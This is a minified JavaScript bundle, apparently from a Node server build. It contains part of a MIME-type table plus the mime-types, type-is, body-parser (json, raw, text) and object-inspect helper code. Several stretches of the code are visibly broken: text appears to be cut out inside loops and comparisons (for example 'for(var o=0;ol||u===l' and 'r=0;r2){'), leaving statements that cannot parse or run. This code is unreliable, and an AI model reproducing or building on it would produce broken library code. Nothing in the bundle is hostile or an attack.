p":{source:"iana",compressible:!1,extensions:["stpz"]},"model/step-xml+zip":{source:"iana",compressible:!1,extensions:["stpxz"]},"model/stl":{source:"iana",extensions:["stl"]},"model/vnd.collada+xml":{source:"iana",compressible:!0,extensions:["dae"]},"model/vnd.dwf":{source:"iana",extensions:["dwf"]},"model/vnd.flatland.3dml":{source:"iana"},"model/vnd.gdl":{source:"iana",extensions:["gdl"]},"model/vnd.gs-gdl":{source:"apache"},"model/vnd.gs.gdl":{source:"iana"},"model/vnd.gtw":{source:"iana",extensions:["gtw"]},"model/vnd.moml+xml":{source:"iana",compressible:!0},"model/vnd.mts":{source:"iana",extensions:["mts"]},"model/vnd.opengex":{source:"iana",extensions:["ogex"]},"model/vnd.parasolid.transmit.binary":{source:"iana",extensions:["x_b"]},"model/vnd.parasolid.transmit.text":{source:"iana",extensions:["x_t"]},"model/vnd.pytha.pyox":{source:"iana"},"model/vnd.rosette.annotated-data-model":{source:"iana"},"model/vnd.sap.vds":{source:"iana",extensions:["vds"]},"model/vnd.usdz+zip":{source:"iana",compressible:!1,extensions:["usdz"]},"model/vnd.valve.source.compiled-map":{source:"iana",extensions:["bsp"]},"model/vnd.vtu":{source:"iana",extensions:["vtu"]},"model/vrml":{source:"iana",compressible:!1,extensions:["wrl","vrml"]},"model/x3d+binary":{source:"apache",compressible:!1,extensions:["x3db","x3dbz"]},"model/x3d+fastinfoset":{source:"iana",extensions:["x3db"]},"model/x3d+vrml":{source:"apache",compressible:!1,extensions:["x3dv","x3dvz"]},"model/x3d+xml":{source:"iana",compressible:!0,extensions:["x3d","x3dz"]},"model/x3d-vrml":{source:"iana",extensions:["x3dv"]},"multipart/alternative":{source:"iana",compressible:!1},"multipart/appledouble":{source:"iana"},"multipart/byteranges":{source:"iana"},"multipart/digest":{source:"iana"},"multipart/encrypted":{source:"iana",compressible:!1},"multipart/form-data":{source:"iana",compressible:!1},"multipart/header-set":{source:"iana"},"multipart/mixed":{source:"iana"},"multipart/multilingual":{source:"iana"},"multipart/parallel":{source:"iana"},"multipart/related":{source:"iana",compressible:!1},"multipart/report":{source:"iana"},"multipart/signed":{source:"iana",compressible:!1},"multipart/vnd.bint.med-plus":{source:"iana"},"multipart/voice-message":{source:"iana"},"multipart/x-mixed-replace":{source:"iana"},"text/1d-interleaved-parityfec":{source:"iana"},"text/cache-manifest":{source:"iana",compressible:!0,extensions:["appcache","manifest"]},"text/calendar":{source:"iana",extensions:["ics","ifb"]},"text/calender":{compressible:!0},"text/cmd":{compressible:!0},"text/coffeescript":{extensions:["coffee","litcoffee"]},"text/cql":{source:"iana"},"text/cql-expression":{source:"iana"},"text/cql-identifier":{source:"iana"},"text/css":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["css"]},"text/csv":{source:"iana",compressible:!0,extensions:["csv"]},"text/csv-schema":{source:"iana"},"text/directory":{source:"iana"},"text/dns":{source:"iana"},"text/ecmascript":{source:"iana"},"text/encaprtp":{source:"iana"},"text/enriched":{source:"iana"},"text/fhirpath":{source:"iana"},"text/flexfec":{source:"iana"},"text/fwdred":{source:"iana"},"text/gff3":{source:"iana"},"text/grammar-ref-list":{source:"iana"},"text/html":{source:"iana",compressible:!0,extensions:["html","htm","shtml"]},"text/jade":{extensions:["jade"]},"text/javascript":{source:"iana",compressible:!0},"text/jcr-cnd":{source:"iana"},"text/jsx":{compressible:!0,extensions:["jsx"]},"text/less":{compressible:!0,extensions:["less"]},"text/markdown":{source:"iana",compressible:!0,extensions:["markdown","md"]},"text/mathml":{source:"nginx",extensions:["mml"]},"text/mdx":{compressible:!0,extensions:["mdx"]},"text/mizar":{source:"iana"},"text/n3":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["n3"]},"text/parameters":{source:"iana",charset:"UTF-8"},"text/parityfec":{source:"iana"},"text/plain":{source:"iana",compressible:!0,extensions:["txt","text","conf","def","list","log","in","ini"]},"text/provenance-notation":{source:"iana",charset:"UTF-8"},"text/prs.fallenstein.rst":{source:"iana"},"text/prs.lines.tag":{source:"iana",extensions:["dsc"]},"text/prs.prop.logic":{source:"iana"},"text/raptorfec":{source:"iana"},"text/red":{source:"iana"},"text/rfc822-headers":{source:"iana"},"text/richtext":{source:"iana",compressible:!0,extensions:["rtx"]},"text/rtf":{source:"iana",compressible:!0,extensions:["rtf"]},"text/rtp-enc-aescm128":{source:"iana"},"text/rtploopback":{source:"iana"},"text/rtx":{source:"iana"},"text/sgml":{source:"iana",extensions:["sgml","sgm"]},"text/shaclc":{source:"iana"},"text/shex":{source:"iana",extensions:["shex"]},"text/slim":{extensions:["slim","slm"]},"text/spdx":{source:"iana",extensions:["spdx"]},"text/strings":{source:"iana"},"text/stylus":{extensions:["stylus","styl"]},"text/t140":{source:"iana"},"text/tab-separated-values":{source:"iana",compressible:!0,extensions:["tsv"]},"text/troff":{source:"iana",extensions:["t","tr","roff","man","me","ms"]},"text/turtle":{source:"iana",charset:"UTF-8",extensions:["ttl"]},"text/ulpfec":{source:"iana"},"text/uri-list":{source:"iana",compressible:!0,extensions:["uri","uris","urls"]},"text/vcard":{source:"iana",compressible:!0,extensions:["vcard"]},"text/vnd.a":{source:"iana"},"text/vnd.abc":{source:"iana"},"text/vnd.ascii-art":{source:"iana"},"text/vnd.curl":{source:"iana",extensions:["curl"]},"text/vnd.curl.dcurl":{source:"apache",extensions:["dcurl"]},"text/vnd.curl.mcurl":{source:"apache",extensions:["mcurl"]},"text/vnd.curl.scurl":{source:"apache",extensions:["scurl"]},"text/vnd.debian.copyright":{source:"iana",charset:"UTF-8"},"text/vnd.dmclientscript":{source:"iana"},"text/vnd.dvb.subtitle":{source:"iana",extensions:["sub"]},"text/vnd.esmertec.theme-descriptor":{source:"iana",charset:"UTF-8"},"text/vnd.familysearch.gedcom":{source:"iana",extensions:["ged"]},"text/vnd.ficlab.flt":{source:"iana"},"text/vnd.fly":{source:"iana",extensions:["fly"]},"text/vnd.fmi.flexstor":{source:"iana",extensions:["flx"]},"text/vnd.gml":{source:"iana"},"text/vnd.graphviz":{source:"iana",extensions:["gv"]},"text/vnd.hans":{source:"iana"},"text/vnd.hgl":{source:"iana"},"text/vnd.in3d.3dml":{source:"iana",extensions:["3dml"]},"text/vnd.in3d.spot":{source:"iana",extensions:["spot"]},"text/vnd.iptc.newsml":{source:"iana"},"text/vnd.iptc.nitf":{source:"iana"},"text/vnd.latex-z":{source:"iana"},"text/vnd.motorola.reflex":{source:"iana"},"text/vnd.ms-mediapackage":{source:"iana"},"text/vnd.net2phone.commcenter.command":{source:"iana"},"text/vnd.radisys.msml-basic-layout":{source:"iana"},"text/vnd.senx.warpscript":{source:"iana"},"text/vnd.si.uricatalogue":{source:"iana"},"text/vnd.sosi":{source:"iana"},"text/vnd.sun.j2me.app-descriptor":{source:"iana",charset:"UTF-8",extensions:["jad"]},"text/vnd.trolltech.linguist":{source:"iana",charset:"UTF-8"},"text/vnd.wap.si":{source:"iana"},"text/vnd.wap.sl":{source:"iana"},"text/vnd.wap.wml":{source:"iana",extensions:["wml"]},"text/vnd.wap.wmlscript":{source:"iana",extensions:["wmls"]},"text/vtt":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["vtt"]},"text/x-asm":{source:"apache",extensions:["s","asm"]},"text/x-c":{source:"apache",extensions:["c","cc","cxx","cpp","h","hh","dic"]},"text/x-component":{source:"nginx",extensions:["htc"]},"text/x-fortran":{source:"apache",extensions:["f","for","f77","f90"]},"text/x-gwt-rpc":{compressible:!0},"text/x-handlebars-template":{extensions:["hbs"]},"text/x-java-source":{source:"apache",extensions:["java"]},"text/x-jquery-tmpl":{compressible:!0},"text/x-lua":{extensions:["lua"]},"text/x-markdown":{compressible:!0,extensions:["mkd"]},"text/x-nfo":{source:"apache",extensions:["nfo"]},"text/x-opml":{source:"apache",extensions:["opml"]},"text/x-org":{compressible:!0,extensions:["org"]},"text/x-pascal":{source:"apache",extensions:["p","pas"]},"text/x-processing":{compressible:!0,extensions:["pde"]},"text/x-sass":{extensions:["sass"]},"text/x-scss":{extensions:["scss"]},"text/x-setext":{source:"apache",extensions:["etx"]},"text/x-sfv":{source:"apache",extensions:["sfv"]},"text/x-suse-ymp":{compressible:!0,extensions:["ymp"]},"text/x-uuencode":{source:"apache",extensions:["uu"]},"text/x-vcalendar":{source:"apache",extensions:["vcs"]},"text/x-vcard":{source:"apache",extensions:["vcf"]},"text/xml":{source:"iana",compressible:!0,extensions:["xml"]},"text/xml-external-parsed-entity":{source:"iana"},"text/yaml":{compressible:!0,extensions:["yaml","yml"]},"video/1d-interleaved-parityfec":{source:"iana"},"video/3gpp":{source:"iana",extensions:["3gp","3gpp"]},"video/3gpp-tt":{source:"iana"},"video/3gpp2":{source:"iana",extensions:["3g2"]},"video/av1":{source:"iana"},"video/bmpeg":{source:"iana"},"video/bt656":{source:"iana"},"video/celb":{source:"iana"},"video/dv":{source:"iana"},"video/encaprtp":{source:"iana"},"video/ffv1":{source:"iana"},"video/flexfec":{source:"iana"},"video/h261":{source:"iana",extensions:["h261"]},"video/h263":{source:"iana",extensions:["h263"]},"video/h263-1998":{source:"iana"},"video/h263-2000":{source:"iana"},"video/h264":{source:"iana",extensions:["h264"]},"video/h264-rcdo":{source:"iana"},"video/h264-svc":{source:"iana"},"video/h265":{source:"iana"},"video/iso.segment":{source:"iana",extensions:["m4s"]},"video/jpeg":{source:"iana",extensions:["jpgv"]},"video/jpeg2000":{source:"iana"},"video/jpm":{source:"apache",extensions:["jpm","jpgm"]},"video/jxsv":{source:"iana"},"video/mj2":{source:"iana",extensions:["mj2","mjp2"]},"video/mp1s":{source:"iana"},"video/mp2p":{source:"iana"},"video/mp2t":{source:"iana",extensions:["ts"]},"video/mp4":{source:"iana",compressible:!1,extensions:["mp4","mp4v","mpg4"]},"video/mp4v-es":{source:"iana"},"video/mpeg":{source:"iana",compressible:!1,extensions:["mpeg","mpg","mpe","m1v","m2v"]},"video/mpeg4-generic":{source:"iana"},"video/mpv":{source:"iana"},"video/nv":{source:"iana"},"video/ogg":{source:"iana",compressible:!1,extensions:["ogv"]},"video/parityfec":{source:"iana"},"video/pointer":{source:"iana"},"video/quicktime":{source:"iana",compressible:!1,extensions:["qt","mov"]},"video/raptorfec":{source:"iana"},"video/raw":{source:"iana"},"video/rtp-enc-aescm128":{source:"iana"},"video/rtploopback":{source:"iana"},"video/rtx":{source:"iana"},"video/scip":{source:"iana"},"video/smpte291":{source:"iana"},"video/smpte292m":{source:"iana"},"video/ulpfec":{source:"iana"},"video/vc1":{source:"iana"},"video/vc2":{source:"iana"},"video/vnd.cctv":{source:"iana"},"video/vnd.dece.hd":{source:"iana",extensions:["uvh","uvvh"]},"video/vnd.dece.mobile":{source:"iana",extensions:["uvm","uvvm"]},"video/vnd.dece.mp4":{source:"iana"},"video/vnd.dece.pd":{source:"iana",extensions:["uvp","uvvp"]},"video/vnd.dece.sd":{source:"iana",extensions:["uvs","uvvs"]},"video/vnd.dece.video":{source:"iana",extensions:["uvv","uvvv"]},"video/vnd.directv.mpeg":{source:"iana"},"video/vnd.directv.mpeg-tts":{source:"iana"},"video/vnd.dlna.mpeg-tts":{source:"iana"},"video/vnd.dvb.file":{source:"iana",extensions:["dvb"]},"video/vnd.fvt":{source:"iana",extensions:["fvt"]},"video/vnd.hns.video":{source:"iana"},"video/vnd.iptvforum.1dparityfec-1010":{source:"iana"},"video/vnd.iptvforum.1dparityfec-2005":{source:"iana"},"video/vnd.iptvforum.2dparityfec-1010":{source:"iana"},"video/vnd.iptvforum.2dparityfec-2005":{source:"iana"},"video/vnd.iptvforum.ttsavc":{source:"iana"},"video/vnd.iptvforum.ttsmpeg2":{source:"iana"},"video/vnd.motorola.video":{source:"iana"},"video/vnd.motorola.videop":{source:"iana"},"video/vnd.mpegurl":{source:"iana",extensions:["mxu","m4u"]},"video/vnd.ms-playready.media.pyv":{source:"iana",extensions:["pyv"]},"video/vnd.nokia.interleaved-multimedia":{source:"iana"},"video/vnd.nokia.mp4vr":{source:"iana"},"video/vnd.nokia.videovoip":{source:"iana"},"video/vnd.objectvideo":{source:"iana"},"video/vnd.radgamettools.bink":{source:"iana"},"video/vnd.radgamettools.smacker":{source:"iana"},"video/vnd.sealed.mpeg1":{source:"iana"},"video/vnd.sealed.mpeg4":{source:"iana"},"video/vnd.sealed.swf":{source:"iana"},"video/vnd.sealedmedia.softseal.mov":{source:"iana"},"video/vnd.uvvu.mp4":{source:"iana",extensions:["uvu","uvvu"]},"video/vnd.vivo":{source:"iana",extensions:["viv"]},"video/vnd.youtube.yt":{source:"iana"},"video/vp8":{source:"iana"},"video/vp9":{source:"iana"},"video/webm":{source:"apache",compressible:!1,extensions:["webm"]},"video/x-f4v":{source:"apache",extensions:["f4v"]},"video/x-fli":{source:"apache",extensions:["fli"]},"video/x-flv":{source:"apache",compressible:!1,extensions:["flv"]},"video/x-m4v":{source:"apache",extensions:["m4v"]},"video/x-matroska":{source:"apache",compressible:!1,extensions:["mkv","mk3d","mks"]},"video/x-mng":{source:"apache",extensions:["mng"]},"video/x-ms-asf":{source:"apache",extensions:["asf","asx"]},"video/x-ms-vob":{source:"apache",extensions:["vob"]},"video/x-ms-wm":{source:"apache",extensions:["wm"]},"video/x-ms-wmv":{source:"apache",compressible:!1,extensions:["wmv"]},"video/x-ms-wmx":{source:"apache",extensions:["wmx"]},"video/x-ms-wvx":{source:"apache",extensions:["wvx"]},"video/x-msvideo":{source:"apache",extensions:["avi"]},"video/x-sgi-movie":{source:"apache",extensions:["movie"]},"video/x-smv":{source:"apache",extensions:["smv"]},"x-conference/x-cooltalk":{source:"apache",extensions:["ice"]},"x-shader/x-fragment":{compressible:!0},"x-shader/x-vertex":{compressible:!0}}});var Wv=V((MV,Gv)=>{Gv.exports=Zv()});var Dd=V(Jt=>{"use strict";var lc=Wv(),tO=require("path").extname,Kv=/^\s*([^;\s]*)(?:;|\s|$)/,rO=/^text\//i;Jt.charset=Xv;Jt.charsets={lookup:Xv};Jt.contentType=aO;Jt.extension=nO;Jt.extensions=Object.create(null);Jt.lookup=sO;Jt.types=Object.create(null);iO(Jt.extensions,Jt.types);function Xv(t){if(!t||typeof t!="string")return!1;var e=Kv.exec(t),r=e&&lc[e[1].toLowerCase()];return r&&r.charset?r.charset:e&&rO.test(e[1])?"UTF-8":!1}function aO(t){if(!t||typeof t!="string")return!1;var e=t.indexOf("/")===-1?Jt.lookup(t):t;if(!e)return!1;if(e.indexOf("charset")===-1){var r=Jt.charset(e);r&&(e+="; charset="+r.toLowerCase())}return e}function nO(t){if(!t||typeof t!="string")return!1;var e=Kv.exec(t),r=e&&Jt.extensions[e[1].toLowerCase()];return!r||!r.length?!1:r[0]}function sO(t){if(!t||typeof t!="string")return!1;var e=tO("x."+t).toLowerCase().substr(1);return e&&Jt.types[e]||!1}function iO(t,e){var r=["nginx","apache",void 0,"iana"];Object.keys(lc).forEach(function(a){var s=lc[a],i=s.extensions;if(!(!i||!i.length)){t[a]=i;for(var o=0;ol||u===l&&e[c].substr(0,12)==="application/"))continue}e[c]=a}}})}});var cs=V((qV,os)=>{"use strict";var Jv=Vv(),oO=Dd();os.exports=cO;os.exports.is=Yv;os.exports.hasBody=Qv;os.exports.normalize=eg;os.exports.match=tg;function Yv(t,e){var r,n=e,a=lO(t);if(!a)return!1;if(n&&!Array.isArray(n))for(n=new Array(arguments.length-1),r=0;r2){r=new Array(arguments.length-1);for(var n=0;n{"use strict";var dO=Qn(),pO=_i(),fO=Ya(),ka=vr()("body-parser:json"),mO=Ci(),ag=cs();sg.exports=gO;var hO=/^[\x20\x09\x0a\x0d]*([^\x20\x09\x0a\x0d])/,rg="#",vO=/#+/g;function gO(t){var e=t||{},r=typeof e.limit!="number"?dO.parse(e.limit||"100kb"):e.limit,n=e.inflate!==!1,a=e.reviver,s=e.strict!==!1,i=e.type||"application/json",o=e.verify||!1;if(o!==!1&&typeof o!="function")throw new TypeError("option verify must be function");var c=typeof i!="function"?xO(i):i;function u(l){if(l.length===0)return{};if(s){var d=_O(l);if(d!=="{"&&d!=="[")throw ka("strict violation"),yO(l,d)}try{return ka("parse json"),JSON.parse(l,a)}catch(f){throw ng(f,{message:f.message,stack:f.stack})}}return function(d,f,m){if(d._body){ka("body already parsed"),m();return}if(d.body=d.body||{},!ag.hasBody(d)){ka("skip empty body"),m();return}if(ka("content-type %j",d.headers["content-type"]),!c(d)){ka("skip parsing"),m();return}var g=bO(d)||"utf-8";if(g.slice(0,4)!=="utf-"){ka("invalid charset"),m(fO(415,'unsupported charset "'+g.toUpperCase()+'"',{charset:g,type:"charset.unsupported"}));return}mO(d,f,m,u,ka,{encoding:g,inflate:n,limit:r,verify:o})}}function yO(t,e){var r=t.indexOf(e),n="";if(r!==-1){n=t.substring(0,r)+rg;for(var a=r+1;a{"use strict";var wO=Qn(),Ii=vr()("body-parser:raw"),SO=Ci(),og=cs();cg.exports=EO;function EO(t){var e=t||{},r=e.inflate!==!1,n=typeof e.limit!="number"?wO.parse(e.limit||"100kb"):e.limit,a=e.type||"application/octet-stream",s=e.verify||!1;if(s!==!1&&typeof s!="function")throw new TypeError("option verify must be function");var i=typeof a!="function"?TO(a):a;function o(c){return c}return function(u,l,d){if(u._body){Ii("body already parsed"),d();return}if(u.body=u.body||{},!og.hasBody(u)){Ii("skip empty body"),d();return}if(Ii("content-type %j",u.headers["content-type"]),!i(u)){Ii("skip parsing"),d();return}SO(u,l,d,o,Ii,{encoding:null,inflate:r,limit:n,verify:s})}}function TO(t){return function(r){return!!og(r,t)}}});var pg=V((zV,dg)=>{"use strict";var kO=Qn(),$O=_i(),Ai=vr()("body-parser:text"),RO=Ci(),lg=cs();dg.exports=PO;function PO(t){var e=t||{},r=e.defaultCharset||"utf-8",n=e.inflate!==!1,a=typeof e.limit!="number"?kO.parse(e.limit||"100kb"):e.limit,s=e.type||"text/plain",i=e.verify||!1;if(i!==!1&&typeof i!="function")throw new TypeError("option verify must be function");var o=typeof s!="function"?CO(s):s;function c(u){return u}return function(l,d,f){if(l._body){Ai("body already parsed"),f();return}if(l.body=l.body||{},!lg.hasBody(l)){Ai("skip empty body"),f();return}if(Ai("content-type %j",l.headers["content-type"]),!o(l)){Ai("skip parsing"),f();return}var m=OO(l)||r;RO(l,d,f,c,Ai,{encoding:m,inflate:n,limit:a,verify:i})}}function OO(t){try{return($O.parse(t).parameters.charset||"").toLowerCase()}catch{return}}function CO(t){return function(r){return!!lg(r,t)}}});var nn=V((UV,fg)=>{"use strict";fg.exports=TypeError});var hg=V((HV,mg)=>{mg.exports=require("util").inspect});var qi=V((BV,jg)=>{var Gd=typeof Map=="function"&&Map.prototype,qd=Object.getOwnPropertyDescriptor&&Gd?Object.getOwnPropertyDescriptor(Map.prototype,"size"):null,pc=Gd&&qd&&typeof qd.get=="function"?qd.get:null,vg=Gd&&Map.prototype.forEach,Wd=typeof Set=="function"&&Set.prototype,Ld=Object.getOwnPropertyDescriptor&&Wd?Object.getOwnPropertyDescriptor(Set.prototype,"size"):null,fc=Wd&&Ld&&typeof Ld.get=="function"?Ld.get:null,gg=Wd&&Set.prototype.forEach,IO=typeof WeakMap=="function"&&WeakMap.prototype,ji=IO?WeakMap.prototype.has:null,AO=typeof WeakSet=="function"&&WeakSet.prototype,Mi=AO?WeakSet.prototype.has:null,NO=typeof WeakRef=="function"&&WeakRef.prototype,yg=NO?WeakRef.prototype.deref:null,jO=Boolean.prototype.valueOf,MO=Object.prototype.toString,DO=Function.prototype.toString,qO=String.prototype.match,Kd=String.prototype.slice,$a=String.prototype.replace,LO=String.prototype.toUpperCase,_g=String.prototype.toLowerCase,Rg=RegExp.prototype.test,bg=Array.prototype.concat,Wr=Array.prototype.join,FO=Array.prototype.slice,xg=Math.floor,Ud=typeof BigInt=="function"?BigInt.prototype.valueOf:null,Fd=Object.getOwnPropertySymbols,Hd=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?Symbol.prototype.toString:null,us=typeof Symbol=="function"&&typeof Symbol.iterator=="object",Di=typeof Symbol=="function"&&Symbol.toStringTag&&(typeof Symbol.toStringTag===us||!0)?Symbol.toStringTag:null,Pg=Object.prototype.propertyIsEnumerable,wg=(typeof Reflect=="function"?Reflect.getPrototypeOf:Object.getPrototypeOf)||([].__proto__===Array.prototype?function(t){return t.__proto__}:null);function Sg(t,e){if(t===1/0||t===-1/0||t!==t||t&&t>-1e3&&t<1e3||Rg.call(/e/,e))return e;var r=/[0-9](?=(?:[0-9]{3})+(?![0-9]))/g;if(typeof t=="number"){var n=t<0?-xg(-t):xg(t);if(n!==t){var a=String(n),s=Kd.call(e,a.length+1);return $a.call(a,r,"$&_")+"."+$a.call($a.call(s,/([0-9]{3})/g,"$&_"),/_$/,"")}}return $a.call(e,r,"$&_")}var Bd=hg(),Eg=Bd.custom,Tg=Ig(Eg)?Eg:null,Og={__proto__:null,double:'"',single:"'"},zO={__proto__:null,double:/(["\\])/g,single:/(['\\])/g};jg.exports=function t(e,r,n,a){var s=r||{};if(la(s,"quoteStyle")&&!la(Og,s.quoteStyle))throw new TypeError('option "quoteStyle" must be "single" or "double"');if(la(s,"maxStringLength")&&(typeof s.maxStringLength=="number"?s.maxStringLength<0&&s.maxStringLength!==1/0:s.maxStringLength!==null))throw new TypeError('option "maxStringLength", if provided, must be a positive integer, Infinity, or `null`');var i=la(s,"customInspect")?s.customInspect:!0;if(typeof i!="boolean"&&i!=="symbol")throw new TypeError("option \"customInspect\", if provided, must be `true`, `false`, or `'symbol'`");if(la(s,"indent")&&s.indent!==null&&s.indent!==" "&&!(parseInt(s.indent,10)===s.indent&&s.indent>0))throw new TypeError('option "indent" must be "\\t", an integer > 0, or `null`');if(la(s,"numericSeparator")&&typeof s.numericSeparator!="boolean")throw new TypeError('option "numericSeparator", if provided, must be `true` or `false`');var o=s.numericSeparator;if(typeof e>"u")return"undefined";if(e===null)return"null";if(typeof e=="boolean")return e?"true":"false";if(typeof e=="string")return Ng(e,s);if(typeof e=="number"){if(e===0)return 1/0/e>0?"0":"-0";var c=String(e);return o?Sg(e,c):c}if(typeof e=="bigint"){var u=String(e)+"n";return o?Sg(e,u):u}var l=typeof s.depth>"u"?5:s.depth;if(typeof n>"u"&&(n=0),n>=l&&l>0&&typeof e=="object")return Vd(e)?"[Array]":"[Object]";var d=sC(s,n);if(typeof a>"u")a=[];else if(Ag(a,e)>=0)return"[Circular]";function f(H,A,W){if(A&&(a=FO.call(a),a.push(A)),W){var oe={depth:s.depth};return la(s,"quoteStyle")&&(oe.quoteStyle=s.quoteStyle),t(H,oe,n+1,a)}return t(H,s,n+1,a)}if(typeof e=="function"&&!kg(e)){var m=XO(e),g=dc(e,f);return"[Function"+(m?": "+m:" (anonymous)")+"]"+(g.length>0?" { "+Wr.call(g,", ")+" }":"")}if(Ig(e)){var b=us?$a.call(String(e),/^(Symbol\(.*\))_[^)]*$/,"$1"):Hd.call(e);return typeof e=="object"&&!us?Ni(b):b}if(rC(e)){for(var p="<"+_g.call(String(e.nodeName)),h=e.attributes||[],y=0;y",p}if(Vd(e)){if(e.length===0)return"[]";var v=dc(e,f);return d&&!nC(v)?"["+Zd(v,d)+"]":"[ "+Wr.call(v,", ")+" ]"}if(BO(e)){var _=dc(e,f);return!("cause"in Error.prototype)&&"cause"in e&&!Pg.call(e,"cause")?"{ ["+String(e)+"] "+Wr.call(bg.call("[cause]: "+f(e.cause),_),", ")+" }":_.length===0?"["+String(e)+"]":"{ ["+String(e)+"] "+Wr.call(_,", ")+" }"}if(typeof e=="object"&&i){if(Tg&&typeof e[Tg]=="function"&&Bd)return Bd(e,{depth:l-n});if(i!=="symbol"&&typeof e.inspect=="function")return e.inspect()}if(JO(e)){var S=[];return vg&&vg.call(e,function(H,A){S.push(f(A,e,!0)+" => "+f(H,e))}),$g("Map",pc.call(e),S,d)}if(eC(e)){var x=[];return gg&&gg.call(e,function(H){x.push(f(H,e))}),$g("Set",fc.call(e),x,d)}if(YO(e))return zd("WeakMap");if(tC(e))return zd("WeakSet");if(QO(e))return zd("WeakRef");if(ZO(e))return Ni(f(Number(e)));if(WO(e))return Ni(f(Ud.call(e)));if(GO(e))return Ni(jO.call(e));if(VO(e))return Ni(f(String(e)));if(typeof window<"u"&&e===window)return"{ [object Window] }";if(typeof globalThis<"u"&&e===globalThis||typeof global<"u"&&e===global)return"{ [object globalThis] }";if(!HO(e)&&!kg(e)){var E=dc(e,f),T=wg?wg(e)===Object.prototype:e instanceof Object||e.constructor===Object,$=e instanceof Object?"":"null prototype",N=!T&&Di&&Object(e)===e&&Di in e?Kd.call(Ra(e),8,-1):$?"Object":"",j=T||typeof e.constructor!="function"?"":e.constructor.name?e.constructor.name+" ":"",q=j+(N||$?"["+Wr.call(bg.call([],N||[],$||[]),": ")+"] ":"");return E.length===0?q+"{}":d?q+"{"+Zd(E,d)+"}":q+"{ "+Wr.call(E,", ")+" }"}return String(e)};function Cg(t,e,r){var n=r.quoteStyle||e,a=Og[n];return a+t+a}function UO(t){return $a.call(String(t),/"/g,""")}function sn(t){return!Di||!(typeof t=="object"&&(Di in t||typeof t[Di]<"u"))}function Vd(t){return Ra(t)==="[object Array]"&&sn(t)}function HO(t){return Ra(t)==="[object Date]"&&sn(t)}function kg(t){return Ra(t)==="[object RegExp]"&&sn(t)}function BO(t){return Ra(t)==="[object Error]"&&sn(t)}function VO(t){return Ra(t)==="[object String]"&&sn(t)}function ZO(t){return Ra(t)==="[object Number]"&&sn(t)}function GO(t){return Ra(t)==="[object Boolean]"&&sn(t)}function Ig(t){if(us)return t&&typeof t=="object"&&t instanceof Symbol;if(typeof t=="symbol")return!0;if(!t||typeof t!="object"||!Hd)return!1;try{return Hd.call(t),!0}catch{}return!1}function WO(t){if(!t||typeof t!="object"||!Ud)return!1;try{return Ud.call(t),!0}catch{}return!1}var KO=Object.prototype.hasOwnProperty||function(t){return t in this};function la(t,e){return KO.call(t,e)}function Ra(t){return MO.call(t)}function XO(t){if(t.name)return t.name;var e=qO.call(DO.call(t),/^function\s*([\w$]+)/);return e?e[1]:null}function Ag(t,e){if(t.indexOf)return t.indexOf(e);for(var r=0,n=t.length;re.maxStringLength){var r=t.length-e.maxStringLength,n="... "+r+" more character"+(r>1?"s":"");return Ng(Kd.call(t,0,e.maxStringLength),e)+n}var a=zO[e.quoteStyle||"single"];a.lastIndex=0;var s=$a.call($a.call(t,a,"\\$1"),/[\x00-\x1f]/g,aC);return Cg(s,"single",e)}function aC(t){var e=t.charCodeAt(0),r={8:"b",9:"t",10:"n",12:"f",13:"r"}[e];return r?"\\"+r:"\\x"+(e<16?"0":"")+LO.call(e.toString(16))}function Ni(t){return"Object("+t+")"}function zd(t){return t+" { ? }"}function $g(t,e,r,n){var a=n?Zd(r,n):Wr.call(r,", ");return t+" ("+e+") {"+a+"}"}function nC(t){for(var e=0;e=0)return!1;return!0}function sC(t,e){var r;if(t.indent===" ")r=" ";else if(typeof t.indent=="number"&&t.indent>0)r=Wr.call(Array(t.indent+1)," ");else return null;return{base:r,prev:Wr.call(Array(e+1),r)}}function Zd(t,e){if(t.length===0)return"";var r=` +`+e.prev+e.base;return r+Wr.call(t,","+r)+` +`+e.prev}function dc(t,e){var r=Vd(t),n=[];if(r){n.length=t.length;for(var a=0;a{"use strict";var iC=qi(),oC=nn(),mc=function(t,e,r){for(var n=t,a;(a=n.next)!=null;n=a)if(a.key===e)return n.next=a.next,r||(a.next=t.next,t.next=a),a},cC=function(t,e){if(t){var r=mc(t,e);return r&&r.value}},uC=function(t,e,r){var n=mc(t,e);n?n.value=r:t.next={key:e,next:t.next,value:r}},lC=function(t,e){return t?!!mc(t,e):!1},dC=function(t,e){if(t)return mc(t,e,!0)};Mg.exports=function(){var e,r={assert:function(n){if(!r.has(n))throw new oC("Side channel does not contain "+iC(n))},delete:function(n){var a=e&&e.next,s=dC(e,n);return s&&a&&a===s&&(e=void 0),!!s},get:function(n){return cC(e,n)},has:function(n){return lC(e,n)},set:function(n,a){e||(e={next:void 0}),uC(e,n,a)}};return r}});var Xd=V((ZV,qg)=>{"use strict";qg.exports=Object});var Fg=V((GV,Lg)=>{"use strict";Lg.exports=Error});var Ug=V((WV,zg)=>{"use strict";zg.exports=EvalError});var Bg=V((KV,Hg)=>{"use strict";Hg.exports=RangeError});var Zg=V((XV,Vg)=>{"use strict";Vg.exports=ReferenceError});var Wg=V((JV,Gg)=>{"use strict";Gg.exports=SyntaxError});var Xg=V((YV,Kg)=>{"use strict";Kg.exports=URIError});var Yg=V((QV,Jg)=>{"use strict";Jg.exports=Math.abs});var ey=V((eZ,Qg)=>{"use strict";Qg.exports=Math.floor});var ry=V((tZ,ty)=>{"use strict";ty.exports=Math.max});var ny=V((rZ,ay)=>{"use strict";ay.exports=Math.min});var iy=V((aZ,sy)=>{"use strict";sy.exports=Math.pow});var cy=V((nZ,oy)=>{"use strict";oy.exports=Math.round});var ly=V((sZ,uy)=>{"use strict";uy.exports=Number.isNaN||function(e){return e!==e}});var py=V((iZ,dy)=>{"use strict";var pC=ly();dy.exports=function(e){return pC(e)||e===0?e:e<0?-1:1}});var my=V((oZ,fy)=>{"use strict";fy.exports=Object.getOwnPropertyDescriptor});var Jd=V((cZ,hy)=>{"use strict";var hc=my();if(hc)try{hc([],"length")}catch{hc=null}hy.exports=hc});var gy=V((uZ,vy)=>{"use strict";var vc=Object.defineProperty||!1;if(vc)try{vc({},"a",{value:1})}catch{vc=!1}vy.exports=vc});var _y=V((lZ,yy)=>{"use strict";yy.exports=function(){if(typeof Symbol!="function"||typeof Object.getOwnPropertySymbols!="function")return!1;if(typeof Symbol.iterator=="symbol")return!0;var e={},r=Symbol("test"),n=Object(r);if(typeof r=="string"||Object.prototype.toString.call(r)!=="[object 